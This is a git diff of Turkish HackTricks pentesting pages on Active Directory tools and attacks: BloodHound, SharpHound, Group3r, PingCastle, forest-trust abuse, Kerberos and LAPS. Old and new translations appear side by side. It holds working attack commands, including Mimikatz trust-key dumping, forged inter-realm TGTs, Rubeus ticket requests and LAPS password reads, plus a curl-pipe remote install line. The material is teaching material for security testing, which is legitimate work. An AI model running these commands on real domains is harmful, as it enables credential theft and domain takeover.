BloodHound CE'nin oluşturulmasından sonra, tüm proje Docker ile kullanım kolaylığı için güncellendi. Başlamak için en kolay yol, önceden yapılandırılmış Docker Compose yapılandırmasını kullanmaktır.
1. Docker Compose'u yükleyin. Bu, [Docker Desktop](https://www.docker.com/products/docker-desktop/) kurulumuyla birlikte gelmelidir.
1. Docker Compose'u kurun. Bu, [Docker Desktop](https://www.docker.com/products/docker-desktop/) kurulumu ile birlikte gelmelidir.
2. Çalıştırın:
```
curl -L https://ghst.ly/getbhce | docker compose -f - up
```
3. Docker Compose'in terminal çıktısında rastgele oluşturulan şifreyi bulun.
4. Bir tarayıcıda http://localhost:8080/ui/login adresine gidin. Kullanıcı adı olarak admin ve günlüklerden elde edilen rastgele oluşturulan şifre ile giriş yapın.
3. Docker Compose'un terminal çıktısında rastgele oluşturulmuş şifreyi bulun.
4. Bir tarayıcıda http://localhost:8080/ui/login adresine gidin. admin kullanıcı adı ve günlüklerden rastgele oluşturulmuş şifre ile giriş yapın.
Bundan sonra rastgele oluşturulan şifreyi değiştirmeniz gerekecek ve yeni arayüzü hazır olacak, bu arayüzden doğrudan ingestorları indirebilirsiniz.
Bundan sonra rastgele oluşturulmuş şifreyi değiştirmeniz gerekecek ve ingestor'ları doğrudan indirebileceğiniz yeni arayüz hazır olacak.
### SharpHound
### SharpHound
Birkaç seçenekleri var, ancak etki alanına katılmış bir PC'den SharpHound'u çalıştırmak, mevcut kullanıcınızı kullanarak tüm bilgileri çıkarmak istiyorsanız, aşağıdaki adımları izleyebilirsiniz:
Birçok seçeneği var ama eğer alan adına katılmış bir PC'den SharpHound'u çalıştırmak ve mevcut kullanıcıyı kullanarak tüm bilgileri çıkarmak istiyorsanız:
```
./SharpHound.exe --CollectionMethods All
Invoke-BloodHound -CollectionMethod All
```
> **CollectionMethod** hakkında daha fazla bilgi edinebilir ve döngü oturumunu [buradan](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) okuyabilirsiniz.
> **CollectionMethod** ve döngü oturumu hakkında daha fazla bilgi için [buraya](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) göz atabilirsiniz.
Farklı kimlik bilgileri kullanarak SharpHound'u çalıştırmak isterseniz, CMD netonly oturumu oluşturabilir ve SharpHound'u oradan çalıştırabilirsiniz:
Farklı kimlik bilgileri kullanarak SharpHound'u çalıştırmak isterseniz, bir CMD netonly oturumu oluşturabilir ve oradan SharpHound'u çalıştırabilirsiniz:
```
runas /netonly /user:domain\user "powershell.exe -exec bypass"
```
[**Bloodhound hakkında daha fazla bilgi için ired.team'a göz atın.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
[**Bloodhound hakkında daha fazla bilgi edinin ired.team'de.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
## Group3r
[**Group3r**](https://github.com/Group3r/Group3r), Active Directory ile ilişkili **Grup Politikası**'ndaki **zayıflıkları** bulmak için bir araçtır. \
Herhangi bir etki alanı kullanıcısı kullanarak etki alanı içindeki bir ana bilgisayardan **group3r'ı çalıştırmanız gerekmektedir**.
[**Group3r**](https://github.com/Group3r/Group3r), **Grup Politikası** ile ilişkili Active Directory'deki **açıkları** bulmak için bir araçtır. \
**Herhangi bir alan kullanıcısı** kullanarak alan içindeki bir hosttan **group3r'ı çalıştırmanız** gerekir.
```bash
group3r.exe -f <filepath-name.log>
# -s sends results to stdin
@ -88,18 +92,21 @@ group3r.exe -f <filepath-name.log>
```
## PingCastle
[**PingCastle**](https://www.pingcastle.com/documentation/) **AD ortamının güvenlik durumunu değerlendirir** ve güzel bir **rapor** sunar.
[**PingCastle**](https://www.pingcastle.com/documentation/) **AD ortamının güvenlik durumunu değerlendirir** ve grafiklerle güzel bir **rapor** sunar.
Çalıştırmak için, `PingCastle.exe` ikili dosyasını çalıştırabilirsiniz ve etkileşimli bir oturum başlatacaktır. Bir seçenek menüsü sunar. Kullanılması gereken varsayılan seçenek **`healthcheck`**'tir. Bu seçenek, **alanın** bir **genel bakışını** oluşturacak ve **yanlış yapılandırmaları** ve **zayıflıkları** bulacaktır.&#x20;
Bunu çalıştırmak için, `PingCastle.exe` ikili dosyasını çalıştırabilir ve seçeneklerin bir menüsünü sunan bir **etkileşimli oturum** başlatır. Kullanılacak varsayılan seçenek **`healthcheck`** olup, **alan** hakkında bir temel **genel bakış** oluşturacak ve **yanlış yapılandırmaları** ve **zayıflıkları** bulacaktır.&#x20;
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# Harici Orman Alanı - Tek Yönlü (Gelen) veya çift yönlü
# Dış Orman Alanı - Tek Yön (Giriş) veya iki yönlü
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Bu senaryoda harici bir etki alanı size güveniyor (veya ikisi birbirine güveniyor), bu yüzden onun üzerinde bir tür erişim elde edebilirsiniz.
Bu senaryoda, bir dış alan size güveniyor (veya her ikisi de birbirine güveniyor), bu nedenle üzerinde bir tür erişim elde edebilirsiniz.
## Sıralama
## Sayım
Öncelikle, **güveni** **sıralamanız** gerekmektedir:
Öncelikle, **güveni** **saymalısınız**:
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -66,38 +69,42 @@ IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
Önceki numaralandırmada, **`crossuser`** kullanıcısının **`External Admins`** grubunda olduğu ve **dış etki alanının DC'sinde** **Yönetici erişimi** olduğu bulundu.
Önceki sayımda, **`crossuser`** kullanıcısının **dış alanın** **DC'sinde** **Admin erişimi** olan **`External Admins`** grubunun içinde olduğu bulundu.
## İlk Erişim
Eğer diğer etki alanında kullanıcınızın herhangi bir **özel** erişimini **bulamadıysanız**, hala AD Metodolojisine geri dönüp **bir ayrıcalıksız kullanıcıdan ayrıcalık yükseltme** deneyebilirsiniz (örneğin kerberoasting gibi):
Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini bulamadıysanız, yine de AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemeye çalışabilirsiniz (örneğin kerberoasting gibi):
**Powerview fonksiyonlarını** kullanarak `-Domain` parametresini kullanarak **diğer etki alanını** numaralandırabilirsiniz:
**Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **sayım** yapmak için:
```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
## Kimlik avı
{% content-ref url="./" %}
[.](./)
{% endcontent-ref %}
### Giriş yapma
## Taklit
Dış etki alanına erişimi olan kullanıcıların kimlik bilgileriyle düzenli bir yöntem kullanarak erişim sağlayabilirsiniz:
### Giriş Yapma
Dış domaine erişimi olan kullanıcıların kimlik bilgileriyle normal bir yöntem kullanarak erişim sağlamalısınız:
```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID Geçmişi Kötüye Kullanımı
### SID History Abuse
Ayrıca, bir ormanda güven ilişkisi üzerinden [**SID Geçmişi**](sid-history-injection.md) kötüye kullanılabilir.
Bir orman güvenini kullanarak [**SID History**](sid-history-injection.md) kötüye kullanabilirsiniz.
Bir kullanıcı **bir ormandan başka bir ormana** taşındığında ve **SID Filtreleme etkin değilse**, diğer ormandan bir **SID eklemek mümkün** hale gelir ve bu **SID**, güven ilişkisi üzerinden kimlik doğrulama yapılırken kullanıcının **token'ına eklenir**.
Eğer bir kullanıcı **bir ormandan diğerine** taşınırsa ve **SID Filtreleme etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının token'ına** **eklenecektir**.
{% hint style="warning" %}
Hatırlatma olarak, imzalama anahtarını aşağıdaki komutla alabilirsiniz:
Hatırlatmak gerekirse, imza anahtarını alabilirsiniz
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```
{% endhint %}
Mevcut alanın kullanıcısını taklit eden bir TGT'yi **güvenilir** anahtarla **imzalayabilirsiniz**.
Mevcut alanın kullanıcısını **taklit eden** bir **TGT**'yi **güvenilir** anahtarla **imzalayabilirsiniz**.
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user:<username> /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
@ -108,17 +115,7 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
### Kullanıcıyı taklit etmek için tam yol
Bu yöntem, bir kullanıcının kimliğini taklit etmek için kullanılır. Aşağıdaki adımları izleyerek bu yöntemi uygulayabilirsiniz:
1. İlk olarak, hedef kullanıcının kimlik bilgilerini elde etmeniz gerekmektedir. Bu bilgiler, kullanıcının kullanıcı adı ve parolasını içerir.
2. Ardından, hedef kullanıcının kimlik bilgilerini kullanarak oturum açmanız gerekmektedir. Bu, hedef kullanıcının hesabına erişim sağlayacaktır.
3. Oturum açtıktan sonra, hedef kullanıcının kimliğini taklit etmek için bir dizi yöntem kullanabilirsiniz. Örneğin, hedef kullanıcının e-posta hesabına erişebilir, sosyal medya hesaplarını kontrol edebilir veya diğer çevrimiçi platformlarda onun adına işlemler gerçekleştirebilirsiniz.
Bu yöntem, hedef kullanıcının kimliğini taklit etmek için kullanılan bir dizi teknik içerir. Ancak, bu tür bir etkinlik yasa dışıdır ve başkalarının gizliliğini ihlal etmektedir. Bu nedenle, bu tür bir faaliyeti gerçekleştirmek yasal sonuçlar doğurabilir ve ciddi cezalara yol açabilir. Bu nedenle, bu tür faaliyetlerden kaçınmanız önemlidir.
### Kullanıcının Tam Olarak Taklit Edilmesi
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
@ -132,14 +129,17 @@ Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /d
# Now you have a TGS to access the CIFS service of the domain controller
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# Kerberos Kimlik Doğrulama
# Kerberos Kimlik Doğrulaması
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Muhteşem yazıyı kontrol edin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Harika yazıyı kontrol edin:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuzu**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# LAPS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>Support HackTricks</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,11 +22,11 @@
## Temel Bilgiler
Yerel Yönetici Parola Çözümü (LAPS), **yönetici parolalarının**, **benzersiz, rastgele ve sık sık değiştirilen** şekilde uygulandığı, etki alanına katılmış bilgisayarları yönetmek için kullanılan bir araçtır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemci ile sunucu arasındaki parola iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
Local Administrator Password Solution (LAPS), **yönetici şifreleri**nin **eşsiz, rastgele ve sık sık değiştirildiği** bir sistemi yönetmek için kullanılan bir araçtır ve bu şifreler alan katılmış bilgisayarlara uygulanır. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya şifre iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
LAPS'ın uygulanmasıyla etki alanının bilgisayar nesnelerinde, iki yeni özellik eklenir: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu özellikler, sırasıyla **düz metin yönetici parolasını** ve **son kullanma zamanını** depolar.
Alan bilgisayar nesnelerinde, LAPS'ın uygulanması iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici şifresini** ve **şifrenin son kullanma tarihini** saklar.
### Aktif olup olmadığını kontrol edin
### Aktif olup olmadığını kontrol et
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -36,11 +39,11 @@ Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name,
# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname
```
### LAPS Şifre Erişimi
### LAPS Parola Erişimi
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **LAPS politikasının ham halini indirebilirsiniz** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinde bulunan **`Parse-PolFile`** kullanılabilir.
Ham LAPS politikasını `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **indirebilir** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinden **`Parse-PolFile`** kullanılabilir.
Ayrıca, **yerel LAPS PowerShell cmdlet'leri** yüklü ise erişim sağladığımız bir makinede kullanılabilir:
Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** de kullanılabilir:
```powershell
Get-Command *AdmPwd*
@ -61,7 +64,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** ayrıca **kimin şifreyi okuyabileceğini ve okuyabileceğini** bulmak için kullanılabilir:
**PowerView** ayrıca **şifrenin kimler tarafından okunabileceğini ve okunmasını** bulmak için de kullanılabilir:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -71,9 +74,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
```
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit), LAPS'ın çeşitli işlevlerle numaralandırılmasını kolaylaştırır.\
Bunlardan biri, **LAPS etkinleştirilmiş tüm bilgisayarlar için `ExtendedRights`'ın ayrıştırılmasıdır.** Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okuma yetkisine sahip grupları** gösterecektir.\
Bir **hesap**, bir bilgisayarı bir etki alanına **katıldığında**, o makine üzerinde `Tüm Extended Rights` alır ve bu hak, **hesaba şifreleri okuma** yeteneği verir. Numaralandırma, bir kullanıcı hesabının bir makinedeki LAPS şifresini okuyabilen bir hesabı gösterebilir. Bu, bize **LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflemede yardımcı olabilir.**
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS'in birkaç işlevle sayımını kolaylaştırır.\
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`'ı** ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okumak için özel olarak yetkilendirilmiş grupları** gösterecektir.\
